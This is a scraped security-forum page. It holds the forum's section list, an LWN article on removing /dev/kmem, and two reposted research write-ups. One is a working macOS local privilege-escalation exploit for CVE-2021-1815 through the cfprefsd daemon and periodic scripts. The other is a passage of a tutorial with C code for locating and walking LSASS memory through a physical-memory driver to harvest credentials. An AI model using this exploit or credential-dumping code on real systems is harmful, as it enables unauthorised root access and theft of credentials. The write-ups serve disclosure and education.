Jump to content
  1. Informatii generale

    1. Anunturi importante

      Anunturile importante si regulile forumului. Cititi regulamentu​l inainte de a posta.

    2. Bine ai venit

      Bine ati venit pe forumul Romanian Security Team, aici va puteti prezenta (optional)

    3. Proiecte RST

      Aici veti putea gasi toate programele, tutorialele, metodele si exploiturile create de catre membrii RST

  2. Sectiunea tehnica

    1. Exploituri

      Cele mai noi exploituri, POC-uri sau shellcode-uri

    2. Challenges (CTF)

      Challenge-uri - Wargames, pentru amatorii CTF-urilor

    3. Bug Bounty

      Categorie destinata discutiilor referitoare la site-urile care au un program Bug Bounty in desfasurare prin care rasplatesc persoanele care le raporteaza vulnerabilitati

    4. Programare

      Coltul programatorilor: C/C++, Visual Basic, .NET, Java, ASM, Shell scripting, Perl, Python

    5. Securitate web

      Tutoriale si discutii legate de securitatea aplicatiilor web

    6. Reverse engineering & exploit development

      Tutoriale despre analiza malware, sample-uri, cod sursa, programe utile, reverse engineering si exploit development

    7. Mobile security

      Discutii despre telefoane mobile, root-ing, jailbreak-ing etc.

    8. Sisteme de operare si discutii hardware

      Discutii in materie hardware, windows, unix, bsd etc.

    9. Electronica

      Discutii generale despre electronica

    10. Wireless Pentesting

      Wardriving area, WiFi, Bluetooth si GSM hacking

    11. Black SEO & monetizare

      Tips & tricks, questions, monetizare

  3. Programe

    1. Programe hacking

      Postati aici utilitare cum ar fi sniffere, bruteforcers, fuzzers etc. Nu faceti cereri aici.

    2. Programe securitate

      Postati aici programe cum ar fi firewall-uri, antivirusi si programe similare

    3. Programe utile

      Programe ce nu se incadreaza in celelalte sectiuni: hack sau securitate

    4. Free stuff

      Diverse lucruri utile, fiind excluse root-uri, SMTP-uri, VPS-uri etc.

  4. Discutii generale

    1. RST Market

      Orice vanzare/cumparare care are legatura cu frauda online/bancara sau access neautorizat este penalizata cu ban permanent!  Minim 50 de posturi pentru acces!

    2. Off-topic

      Discutii pe diverse teme, discutii care nu se incadreaza la celalalte categorii. Doar discutii din domeniul IT!

    3. Discutii incepatori

      Daca esti incepator, ai o intrebare simpla sau vrei sa stii mai multe despre un domeniu, aici e sectiunea potrivita

    4. Stiri securitate

      Stiri din domeniul securitatii IT

    5. Linkuri

      Postati aici doar linkurile despre securitate!

    6. Cosul de gunoi

      Toate topicurile care au deviat de la raspuns vor fi mutate aici.

  • Topics

  • Posts

    • cine imi da si mie o invitatie ?  
    • By Jonathan Corbet April 5, 2021   The recent proposal from David Hildenbrand to remove support for the /dev/kmem special file has not sparked a lot of discussion. Perhaps that is because today's youngsters, lacking an understanding of history, may be wondering what that file is in the first place and, thus, be unclear on why it may matter. Chances are that /dev/kmem will not be missed, but in passing it takes away a venerable part of the Unix kernel interface. /dev/kmem provides access to the kernel's address space; it can be read from or written to like an ordinary file, or mapped into a process's address space. Needless to say, there are some mild security implications arising from providing that sort of access; even read access to this file is generally enough to expose credentials and allow an attacker to take over a system. As a result, protections on /dev/kmem have always tended to be restrictive, but it remains the sort of open back door into the kernel that makes anybody who worries about security worry even more. It is a rare Linux system that enables /dev/kmem now. As of the 2.6.26 kernel release in July 2008, the kernel only implements this special file if the CONFIG_DEVKMEM configuration option is enabled. One will have to look long and hard for a distributor that enables this option in 2021; most of them disabled it many years ago. So its disappearance from the kernel is unlikely to create much discomfort.   It's worth noting that Linux systems still support /dev/mem (without the "k"), which once provided similar access to all of the memory in the system. It has long been restricted to I/O memory; system RAM is off limits. The occasional user-space device driver still needs /dev/mem to function, but it's otherwise unused. One may well wonder why a dangerous interface like /dev/kmem existed in the first place. The kernel goes out of its way to hide its memory from the rest of the system; creating a special file to circumvent that hiding seems like a step in the wrong direction. The answer, in short, is that once there was no other way to get many types of information out of the kernel. As an example, consider the "load average" numbers printed by tools like top, uptime, or w; they indicate the average length of the CPU run queues over periods of one, five, and 15 minutes. In the distant past, when computers were scarce and it was common to run many tasks on the same machine, jobs that were not time-critical would often consult the load average and defer their work if it was too high. It was the sort of courtesy that was much appreciated by the other users of the machine, of which there may have been dozens. But how does one determine the current load average? Unix kernels have maintained those statistics for decades, but they originally kept that information to themselves. User-space code that wanted to know this number would have to do the following:   Read the symbol table from the executable image of the current kernel to determine the location of the avenrun array. Open /dev/kmem and seek to that location. Read the avenrun array into a user-space buffer.   Code from that era can be hard to find, but the truly masochistic can wade through what must be one of the deeper circles of #ifdef hell to find an implementation toward the bottom of this version of getloadavg() from an early GNU make release. In a current Linux system, instead, all that is needed is to read a line from /proc/loadavg. This kind of grubbing around in kernel memory was not limited to the load-average array. Tools with more complex information requirements also had to dig around in /dev/kmem; see, for example, the 2.9BSD implementation of ps. That was just how things were done in those days. Rooting through the kernel's memory for information about the system has a number of problems beyond the need to implement /dev/kmem. Changes to the kernel could break user space in surprising ways. Multiple reads were often needed to get a complete picture, but that picture could change while the reads were taking place, leading to more surprises. The move away from /dev/kmem and toward well-defined kernel interfaces, such as /proc, sysfs, and various system calls, has cleaned this situation up — and made it possible to disable /dev/kmem. Now, it seems that /dev/kmem will go away entirely. Linus Torvalds said that he would "happily do this for the next merge window", but he wanted confirmation that distributors are, indeed, not enabling it now. There have been a few responses for specific distributions, but nobody has said that /dev/kmem is still in use anywhere. If there are users of this interface out there, they will want to make their existence known in the near future. Failing that, this back door into kernel memory will soon be removed entirely — but, then, your editor once predicted that it would be removed for 2.6.14, so one never knows.   Sursa: https://lwn.net/Articles/851531/
    • CVE-2021-1815 – MACOS LOCAL PRIVILEGE ESCALATION VIA PREFERENCES  May 6, 2021     Offensive Security Apple recently fixed three vulnerabilities in macOS 11.3’s Preferences. Although we also reported the vulnerability, it was first found by Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020). Here we present our writeup about how we identified one of the issues, and how we exploited it. In 2020, the team from Georgia Institute of Technology (Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim) successfully exploited Apple macOS at pwn2own 2020. They presented their six-step exploit chain at BlackHat USA 2020, and their slides are available here. They also posted a detailed writeup on GitHub along with video on YouTube. While reading through their very detailed writeup, which also includes information about how Apple patched the various vulnerabilities they found, we noticed a mistake Apple made while patching one of the discovered issues. Specifically, Apple failed to mitigate all exploitation paths when fixing CVE-2020-9839, which affected the cfprefsd process. We discovered that privilege escalation is still possible via the cfprefsd daemon. The cfprefsd process is responsible for setting preferences. There are normally two instances running, one responsible for setting preferences for applications which runs with normal user privileges, and one running as root which is responsible for setting system wide preferences. Any process can open XPC connection to any of the two cfprefsd processes. The original vulnerability allowed an attacker to communicate with the global cfprefsd daemon, which runs as root and set user ownership on custom directories by utilizing symbolic links. This was possible when the cfprefsd daemon created the directory for the preferences file using the CFPrefsCreatePreferencesDirectory function. The team reverse engineered the fix for CVE-2020-9839, which is shown below in Listing . int _CFPrefsCreatePreferencesDirectory(path) {     int dirfd = open("/", O_DIRECTORY);     for(slice in path.split("/")) {         int fd = openat(dirfd, slice, O_DIRECTORY);         if (fd == -1 && errno == ENOENT && !mkdirat(dirfd, slice, perm)) {             fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW);             if ( fd == -1 ) return -1;             fchown(fd, uid, gid);         }         } // close all fds return 0; } Apple’s fix ensured that symbolic links are no longer followed, thus ownership can’t be changed anymore on arbitrary directories. Nevertheless, one issue remained. Although not obvious at first sight, this patch is not sufficient to completely prevent escalatation of privilege attacks. The code shown above still allows a user to create an directory with either user or root privileges. Since the directory location is under the control of the attacker, this can be abused to escalate privileges to root. Here we will detail one method, but as we can create directories as any user in arbitrary locations there can be other ways to abuse this. macOS makes use of maintenance scripts, i.e. periodic scripts that run with root privileges on a daily, weekly and monthly basis. The periodic scripts are configured through the /etc/defaults/periodic.conf file. This script has a definition for user defined scripts. # periodic script dirs local_periodic="/usr/local/etc/periodic" On default macOS installations, this location doesn’t exist. This means that we can create this directory structure by connecting to the cfprefsd root daemon service, and asking the dameon to set ownership of the directory to our user. Once this directory is created, we can create our script there (as the location will be owned by the user) and that script will be run as root. An exploit example is shown below: #import <Foundation/Foundation.h> #include <xpc/xpc.h> #include <sys/stat.h> int main() {     char *serviceName = "com.apple.cfprefsd.daemon";     int status = 0;     xpc_connection_t conn;     xpc_object_t msg;     conn = xpc_connection_create_mach_service(serviceName, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);     if (conn == NULL) {         perror("xpc_connection_create_mach_service");           }     xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {         perror("xpc_connection_set_event_handler");     });     xpc_connection_resume(conn);     msg = xpc_dictionary_create(NULL, NULL, 0);     xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);     xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);     //create as user     xpc_dictionary_set_string(msg, "CFPreferencesUser", "kCFPreferencesCurrentUser");     xpc_dictionary_set_string(msg, "CFPreferencesHostBundleIdentifier", "prefs");     xpc_dictionary_set_string(msg, "CFPreferencesDomain", "/usr/local/etc/periodic/daily/a.plist");     xpc_dictionary_set_string(msg, "Key", "key");     xpc_dictionary_set_string(msg, "Value", "value");     xpc_connection_send_message(conn, msg);     usleep(1000000);         NSString* script = @"touch /Library/privesc.txt\n";     NSError *error;     BOOL succeed = [script writeToFile:@"/usr/local/etc/periodic/daily/111.lpe" atomically:YES encoding:NSUTF8StringEncoding error:&error];     if (!succeed){         printf("Couldn't create periodic script :(\n");     }         char mode[] = "0777";     int i;     i = strtol(mode, 0, 8);     chmod("/usr/local/etc/periodic/daily/111.lpe",i); } This exploit will initiate an XPC message to the cfprefsd daemon which runs as root. This is identified by the service name com.apple.cfprefsd.daemon. (The user mode daemon is identified as com.apple.cfprefsd.agent). The daemon will create the folder /usr/local/etc/periodic/daily/ and then write our script to the location, which will run touch /Library/privesc.txt. We can compile the code with gcc -framework Foundation cfprefsd_exploit.m -o cfprefsd_exploit. First let’s ensure that neither the directory /usr/local/etc/periodic/daily/ nor the file we want to create /Library/privesc.txt already exist. offsec@bigsur ~ % ls -l /Library/privesc.txt     ls: /Library/privesc.txt: No such file or directory offsec@bigsur ~ % ls -lR /usr/local/ Now that we verified that, let’s run our exploit. offsec@bigsur ~ % ./cfprefsd_exploit xpc_connection_set_event_handler: Undefined error: 0 offsec@bigsur ~ % ls -lR /usr/local/ total 0 drwx------  3 offsec  staff  96 Apr 13 02:02 etc /usr/local//etc: total 0 drwx------  3 offsec  staff  96 Apr 13 02:02 periodic /usr/local//etc/periodic: total 0 drwx------  3 offsec  staff  96 Apr 13 02:02 daily /usr/local//etc/periodic/daily: total 8 -rwxrwxrwx@ 1 offsec  staff  27 Apr 13 02:02 111.lpe As we can see, the folder structure was created with our script written at the target location. Next, we simulate the execution of periodic scripts. offsec@bigsur ~ % sudo periodic daily offsec@bigsur ~ % ls -l /Library/privesc.txt -rw-r--r--  1 root  wheel  0 Apr 13 02:02 /Library/privesc.txt Once the script run our file is created as root. We can also create a directory as root if we want by using the following line in the exploit. xpc_dictionary_set_string(msg, "CFPreferencesUser", "root"); In summary, we can still use cfprefsd to create arbitrary directories in arbitrary location as any user. Using this we can write arbitrary scripts that will be executed later as root. Using periodic scripts is just an example for utilizing this vulnerability, as other options with the same end result might exist. ABOUT THE AUTHOR Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea.   Sursa: https://www.offensive-security.com/offsec/macos-preferences-priv-escalation/
    • A physical graffiti of LSASS: getting credentials from physical memory for fun and learning May 08, 2021 Adepts of 0xCC Dear Fellowlship, today’s homily is about how one of our owls began his own quest through the lands of physical memory to find the credentials keys to paradise. Please, take a seat and listen to the story. Prayers at the foot of the Altar a.k.a. disclaimer Our knowledge about the topic discussed in this article is limited, as we stated in the tittle we did this work just for learning purposes. If you spot incorrections/misconceptions, please ping us at twitter so we can fix it. For a more accurate information (and deep explanations), please check the book “Windows Internals” (Pavel Yosifovich, Alex Ionescu, Mark E. Russinovich & David A. Solomon). Also well-known forensic tools are a good source of information (for example Volatility) Other important thing to keep in mind: the windows version used here is Windows 10 2009 20H2 (October 2020 Update) Preamble Hunting for juicy information inside dumps of physical memory is something that regular forensic tools does by default. Even cheaters have been exploring this way in the past to build wallhacks: read physical memory, find your desired game process and look for the player information structs. From a Red Teaming/Pentesting optics, this approach has been explored too in order to obtain credentials from the lsass process in live machines during engagements. For example, in 2020 F-Secure published an article titled “Rethinking credential theft” and released a tool called “PhysMem2Profit”. In their article/tool they use WinPmem driver to read physical memory (a vulnerable driver with a read primitive would work too), creating a bridge with sockets between the target machine and the pentester machine, so they can create a minidump of lsass process that is compatible with Mimikatz with the help of Rekall. Working schema (from 'Rethinking Credential Theft') The steps they follow are: Expose the physical memory of the target over a TCP port. Connect to the TCP port and mount the physical memory as a file. Analyze the mounted memory with the help of the Rekall framework and create a minidump of LSASS. Run the minidump through Mimikatz and retrieve credential material. In our humble opinion, this approach is too convoluted and contains unnecessary steps. Also creating a socket between the two machines does not look fine to us. So… here comes our idea: let’s try to loot lsass from physical memory staying in the same machine and WITHOUT externals tools (like they did with rekall). It is a good opportunity to learn new things!kd It’s dangerous to go alone! Take this. As in any quest, we first need a map and a compass to find the treasure because the land of physical memory is dangerous and full of terrors. We can read arbitrary physical memory with WinPem or a driver vulnerable with a read primitive, but… How can we find the process memory? Well, our map is the AVL-tree that contains the VADs info and our compass is the EPROCESS struct. Let’s explain this! The Memory Manager needs to keep track of which virtual addresses has been reserved in the process’ address space. This information is contained in structs called “VAD” (Virtual Address Descriptor) and they are placed inside an AVL-tree (an AVL-tree is a self-balancing binary search tree). The tree is our map: if we find the first tree’s node we can start to walk it and retrieve all the VADs, and consequently we would get the knowledge of how the process memory is distributed (also, the VAD provides more useful information as we are going to see later). But… how can we find this tree? Well, we need the compass. And our compass is the EPROCESS. This structure contains a pointer to the tree (field VadRoot) and the number of nodes (VadCount😞 //0xa40 bytes (sizeof) struct _EPROCESS { struct _KPROCESS Pcb; //0x0 struct _EX_PUSH_LOCK ProcessLock; //0x438 VOID* UniqueProcessId; //0x440 struct _LIST_ENTRY ActiveProcessLinks; //0x448 struct _EX_RUNDOWN_REF RundownProtect; //0x458 //(...) struct _RTL_AVL_TREE VadRoot; //0x7d8 VOID* VadHint; //0x7e0 ULONGLONG VadCount; //0x7e8 //(...) Finding this structure in physical memory is easy. In the article “CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver”, @Jackson_T uses a mask to find this structure. As we know some data (like the PID, the process name or the Priority value) we can use this as a signature and search the whole physical memory until we match it. So, we can search for our masks and then apply relative offsets to read the fields that we are interested in: int main(int argc, char** argv) { WINPMEM_MEMORY_INFO info; DWORD size; BOOL result = FALSE; int i = 0; LARGE_INTEGER large_start; DWORD found = 0; printf("[+] Getting WinPmem handle...\t"); pmem_fd = CreateFileA("\\\\.\\pmem", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (pmem_fd == INVALID_HANDLE_VALUE) { printf("ERROR!\n"); return -1; } printf("OK!\n"); RtlZeroMemory(&info, sizeof(WINPMEM_MEMORY_INFO)); printf("[+] Getting memory info...\t"); result = DeviceIoControl(pmem_fd, IOCTL_GET_INFO, NULL, 0, // in (char*)&info, sizeof(WINPMEM_MEMORY_INFO), // out &size, NULL); if (!result) { printf("ERROR!\n"); return -1; } printf("OK!\n"); printf("[+] Memory Info:\n"); printf("\t[-] Total ranges: %lld\n", info.NumberOfRuns.QuadPart); for (i = 0; i < info.NumberOfRuns.QuadPart; i++) { printf("\t\tStart 0x%08llX - Length 0x%08llx\n", info.Run[i].BaseAddress.QuadPart, info.Run[i].NumberOfBytes.QuadPart); max_physical_memory = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart; } printf("\t[-] Max physical memory 0x%08llx\n", max_physical_memory); printf("[+] Scanning memory... "); for (i = 0; i < info.NumberOfRuns.QuadPart; i++) { start = info.Run[i].BaseAddress.QuadPart; end = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart; while (start < end) { unsigned char* largebuffer = (unsigned char*)malloc(BUFF_SIZE); DWORD to_write = (DWORD)min((BUFF_SIZE), end - start); DWORD bytes_read = 0; DWORD bytes_written = 0; large_start.QuadPart = start; result = SetFilePointerEx(pmem_fd, large_start, NULL, FILE_BEGIN); if (!result) { printf("[!] ERROR! (SetFilePointerEx)\n"); } result = ReadFile(pmem_fd, largebuffer, to_write, &bytes_read, NULL); EPROCESS_NEEDLE needle_root_process = {"lsass.exe"}; PBYTE needle_buffer = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE)); memcpy(needle_buffer, &needle_root_process, sizeof(EPROCESS_NEEDLE)); int offset = 0; offset = memmem((PBYTE)largebuffer, bytes_read, needle_buffer, sizeof(EPROCESS_NEEDLE)); // memmem() is the same used by Jackson_T in his post if (offset >= 0) { if (largebuffer[offset + 15] == 2) { //Priority Check if (largebuffer[offset - 0x168] == 0x70 && largebuffer[offset - 0x167] == 0x02) { //PID check, hardcoded for PoC, we can take in runtime but... too lazy :P printf("signature match at 0x%08llx!\n", offset + start); printf("[+] EPROCESS is at 0x%08llx [PHYSICAL]\n", offset - 0x5a8 + start); memcpy(&DirectoryTableBase, largebuffer + offset - 0x5a8 + 0x28, sizeof(ULONGLONG)); printf("\t[*] DirectoryTableBase: 0x%08llx\n", DirectoryTableBase); printf("\t[*] VadRoot is at 0x%08llx [PHYSICAL]\n", start + offset - 0x5a8 + 0x7d8); memcpy(&VadRootPointer, largebuffer + offset - 0x5a8 + 0x7d8, sizeof(ULONGLONG)); VadRootPointer = VadRootPointer; printf("\t[*] VadRoot points to 0x%08llx [VIRTUAL]\n", VadRootPointer); memcpy(&VadCount, largebuffer + offset - 0x5a8 + 0x7e8, sizeof(ULONGLONG)); printf("\t[*] VadCount is %lld\n", VadCount); free(needle_buffer); free(largebuffer); found = 1; break; } } } start += bytes_read; free(needle_buffer); free(largebuffer); } if (found != 0) { break; } } return 0; } And here is the ouput: [+] Getting WinPmem handle... OK! [+] Getting memory info... OK! [+] Memory Info: [-] Total ranges: 4 Start 0x00001000 - Length 0x0009e000 Start 0x00100000 - Length 0x00002000 Start 0x00103000 - Length 0xdfeed000 Start 0x100000000 - Length 0x20000000 [-] Max physical memory 0x120000000 [+] Scanning memory... signature match at 0x271c3628! [+] EPROCESS is at 0x271c3080 [PHYSICAL] [*] DirectoryTableBase: 0x29556000 [*] VadRoot is at 0x271c3858 [PHYSICAL] [*] VadRoot points to 0xffffa48bb0147290 [VIRTUAL] [*] VadCount is 165 Maybe you are wondering why are we interested in the field DirectoryTableBase. The thing is: from our point of view we only can work with physical memory, we do not “understand” what a virtual address is because to us they are “out of context”. We know about physical memory and offsets, not about virtual addresses bounded to a process. But we are going to deal with pointers to virtual memory so… we need a way to translate them. Lost in translation I like to compare virtual addresses with the code used in libraries to know the location of a book, where the first digits indicates the hall, the next the bookshelf, the column and finally the shelf where the book lies. Our virtual address is in some way just like the library code: it contains different indexes. Instead of talking about halls, columns or shelves, we have Page-Map-Level4 (PML4E), Page-Directory-Pointer (PDPE), Page-Directory (PDE), Page-Table (PTE) and the Page Physical Offset. From AMD64 Architecture Programmer’s Manual Volume 2. Those are the page levels for a 4KB page, for 2MB we have PML4E, PDPE, PDE and the offset. We can verify this information using kd and the command !vtop with different processes: For 4KB (Base 0x26631000, virtual adress to translate 0xffffc987034fd330): lkd> !vtop 26631000 0xffffc987034fd330 Amd64VtoP: Virt ffffc987034fd330, pagedir 0000000026631000 Amd64VtoP: PML4E 0000000026631c98 Amd64VtoP: PDPE 00000000046320e0 Amd64VtoP: PDE 0000000100a1c0d0 Amd64VtoP: PTE 000000001fa3f7e8 Amd64VtoP: Mapped phys 0000000026da8330 Virtual address ffffc987034fd330 translates to physical address 26da8330. For 2MB (Base 0x1998D000, virtual address to translate 0xffffaa83f4b35640): lkd> !vtop 1998D000 ffffaa83f4b35640 Amd64VtoP: Virt ffffaa83f4b35640, pagedir 000000001998d000 Amd64VtoP: PML4E 000000001998daa8 Amd64VtoP: PDPE 0000000004631078 Amd64VtoP: PDE 0000000004734d28 Amd64VtoP: Large page mapped phys 0000000108d35640 Virtual address ffffaa83f4b35640 translates to physical address 108d35640. What is it doing under the hood? Well, the picture of a 4KB page follows this explanation: if you turn the virtual address to its binary representation, you can split it into the indexes of each page level. So, imagine we want to translate the virtual address 0xffffa48bb0147290 and the process page base is 0x29556000 (let’s assume is a 4kb page, later we will explain how to know it). lkd> .formats ffffa48bb0147290 Evaluate expression: Hex: ffffa48b`b0147290 Decimal: -100555115171184 Octal: 1777775110566005071220 Binary: 11111111 11111111 10100100 10001011 10110000 00010100 01110010 10010000 Chars: ......r. Time: ***** Invalid FILETIME Float: low -5.40049e-010 high -1.#QNAN Double: -1.#QNAN Now we can split the bits in chunks: 12 bits for the Page Physical Offset, 9 for the PTE, 9 for the PDE, 9 for the PDPE and 9 for the PML4E: 1111111111111111 101001001 000101110 110000000 101000111 001010010000 Next we are going to take the chunk for PML4E and multiply by 0x8: lkd> .formats 0y101001001 Evaluate expression: Hex: 00000000`00000149 Decimal: 329 Octal: 0000000000000000000511 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000001 01001001 Chars: .......I Time: Thu Jan 1 01:05:29 1970 Float: low 4.61027e-043 high 0 Double: 1.62548e-321 0x149 * 0x8 = 0xa48 Now we can use it as an offset: just add this value to the page base (0x29556a48). Next, read the physical memory at that location: lkd> !dq 29556a48 #29556a48 0a000000`04632863 00000000`00000000 #29556a58 00000000`00000000 00000000`00000000 #29556a68 00000000`00000000 00000000`00000000 #29556a78 00000000`00000000 00000000`00000000 #29556a88 00000000`00000000 00000000`00000000 #29556a98 00000000`00000000 00000000`00000000 #29556aa8 00000000`00000000 00000000`00000000 #29556ab8 00000000`00000000 00000000`00000000 Turn to zero the last 3 numbers, so we have 0x4632000. Now repeat the operation of multiplying the chunk of bits: kd> .formats 0y000101110 Evaluate expression: Hex: 00000000`0000002e Decimal: 46 Octal: 0000000000000000000056 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101110 Chars: ........ Time: Thu Jan 1 01:00:46 1970 Float: low 6.44597e-044 high 0 Double: 2.2727e-322 So… 0x4632000 + (0x2e * 0x8) == 0x4632170. Read the physical memory at this point: lkd> !dq 4632170 # 4632170 0a000000`04735863 00000000`00000000 # 4632180 00000000`00000000 00000000`00000000 # 4632190 00000000`00000000 00000000`00000000 # 46321a0 00000000`00000000 00000000`00000000 # 46321b0 00000000`00000000 00000000`00000000 # 46321c0 00000000`00000000 00000000`00000000 # 46321d0 00000000`00000000 00000000`00000000 # 46321e0 00000000`00000000 00000000`00000000 Just repeat the same operation until the end (except for the last 12 bits, those no need to by multiplied by 0x8) and you have translated successfully your virtual address! Don’t trust me? Check it! kd> !vtop 0x29556000 0xffffa48bb0147290 Amd64VtoP: Virt ffffa48bb0147290, pagedir 0000000029556000 Amd64VtoP: PML4E 0000000029556a48 Amd64VtoP: PDPE 0000000004632170 Amd64VtoP: PDE 0000000004735c00 Amd64VtoP: PTE 0000000022246a38 Amd64VtoP: Mapped phys 000000001645b290 Virtual address ffffa48bb0147290 translates to physical address 1645b290. Ta-dá! Here is a sample function that we are going to use to translate virtual addresses (4Kb and 2Mb) to physical (ugly as hell, but works): ULONGLONG v2p(ULONGLONG vaddr) { BOOL result = FALSE; DWORD bytes_read = 0; LARGE_INTEGER PML4E; LARGE_INTEGER PDPE; LARGE_INTEGER PDE; LARGE_INTEGER PTE; ULONGLONG SIZE = 0; ULONGLONG phyaddr = 0; ULONGLONG base = 0; base = DirectoryTableBase; PML4E.QuadPart = base + extractBits(vaddr, 9, 39) * 0x8; //printf("[DEBUG Virtual Address: 0x%08llx]\n", vaddr); //printf("\t[*] PML4E: 0x%x\n", PML4E.QuadPart); result = SetFilePointerEx(pmem_fd, PML4E, NULL, FILE_BEGIN); PDPE.QuadPart = 0; result = ReadFile(pmem_fd, &PDPE.QuadPart, 7, &bytes_read, NULL); PDPE.QuadPart = extractBits(PDPE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 30) * 0x8; //printf("\t[*] PDPE: 0x%08llx\n", PDPE.QuadPart); result = SetFilePointerEx(pmem_fd, PDPE, NULL, FILE_BEGIN); PDE.QuadPart = 0; result = ReadFile(pmem_fd, &PDE.QuadPart, 7, &bytes_read, NULL); PDE.QuadPart = extractBits(PDE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 21) * 0x8; //printf("\t[*] PDE: 0x%08llx\n", PDE.QuadPart); result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); PTE.QuadPart = 0; result = ReadFile(pmem_fd, &SIZE, 8, &bytes_read, NULL); if (extractBits(SIZE, 1, 63) == 1) { result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL); phyaddr = extractBits(phyaddr, 56, 20) * 0x100000 + extractBits(vaddr, 21, 0); //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr); return phyaddr; } result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); PTE.QuadPart = 0; result = ReadFile(pmem_fd, &PTE.QuadPart, 7, &bytes_read, NULL); PTE.QuadPart = extractBits(PTE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 12) * 0x8; //printf("\t[*] PTE: 0x%08llx\n", PTE.QuadPart); result = SetFilePointerEx(pmem_fd, PTE, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL); phyaddr = extractBits(phyaddr, 56, 12) * 0x1000 + extractBits(vaddr, 12, 0); //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr); return phyaddr; } Well, now we can work with virtual addresses. Let’s move! Lovin’ Don’t Grow On Trees The next task to solve is to walk the AVL tree and extract all the VADs. Let’s check the VadRoot pointer: lkd> dq ffffa48bb0147290 ffffa48b`b0147290 ffffa48b`b0146c50 ffffa48b`b01493b0 ffffa48b`b01472a0 00000000`00000001 ff643ab1`ff643aa0 ffffa48b`b01472b0 00000000`00000707 00000000`00000000 ffffa48b`b01472c0 00000003`000003a0 00000000`00000000 ffffa48b`b01472d0 00000000`04000000 ffffa48b`b014daa0 ffffa48b`b01472e0 ffffd100`10b56f40 ffffd100`10b56fc8 ffffa48b`b01472f0 ffffa48b`b014da28 ffffa48b`b014da28 ffffa48b`b0147300 ffffa48b`b016e081 00007ff6`43aa5002 The first thing we can see is the pointer to the left node (offset 0x00-0x07) and the pointer to the right node (0x08-0x10). We have to add them to a queue and check them later, and add their respective new children nodes, repeating this operation in order to walk the whole tree. Also combining 4 bytes from 0x18 and 1 byte from 0x20 we get the starting address of the described memory region (the ending virtual addrees is obtained combining 4 bytes from 0x1c and 1 byte from 0x21). So we can walk the whole tree doing something like: //(...) currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer if (currentNode == 0) { cursor++; continue; } reader.QuadPart = v2p(currentNode); // Get Physical Address left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node queue[last++] = left; //Add the new node //printf("[<] Left: 0x%08llx\n", left); reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node right = readPhysMemPointer(reader); //Save the pointer queue[last++] = right; //Add the new node //printf("[>] Right: 0x%08llx\n", right); // Get the start address reader.QuadPart = v2p(currentNode + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x20); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL); start = (startingVpn << 12) | (startingVpnHigh << 44); // Get the end address reader.QuadPart = v2p(currentNode + 0x1c); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x21); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL); end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44)); //(...) Now we can retrieve all the regions of virtual memory reserved, and the limits (starting address and ending address, and by substraction the size): [+] Starting to walk _RTL_AVL_TREE... ===================[VAD info]=================== [0] (0xffffa48bb0147290) [0x7ff643aa0000-0x7ff643ab2000] (73728 bytes) [1] (0xffffa48bb0146c50) [0x1d4d2ef0000-0x1d4d2f0d000] (118784 bytes) [2] (0xffffa48bb01493b0) [0x7ff845000000-0x7ff845027000] (159744 bytes) [3] (0xffffa48bb0179300) [0x80cbf00000-0x80cbf80000] (524288 bytes) [4] (0xffffa48bb01795d0) [0x1d4d36a0000-0x1d4d36a1000] (4096 bytes) [5] (0xffffa48bb01a1390) [0x7ff844540000-0x7ff84454c000] (49152 bytes) But VADs contains other interesting metadata. For example, if the region is reserved for a image file, we can retrieve the path of that file. This is important for us because we want to locate the loaded lsasrv.dll inside the lsass process because from here is where we are going to loot credentials (imitating the Mimikatz’s sekurlsa::msv to get NTLM hashes). Let’s take a ride through the __mmvad struct (follow the arrows!): lkd> dt nt!_mmvad 0xffffe786`ed185cf0 +0x000 Core : _MMVAD_SHORT +0x040 u2 : <anonymous-tag> +0x048 Subsection : 0xffffe786`ed185d60 _SUBSECTION <=========== +0x050 FirstPrototypePte : (null) +0x058 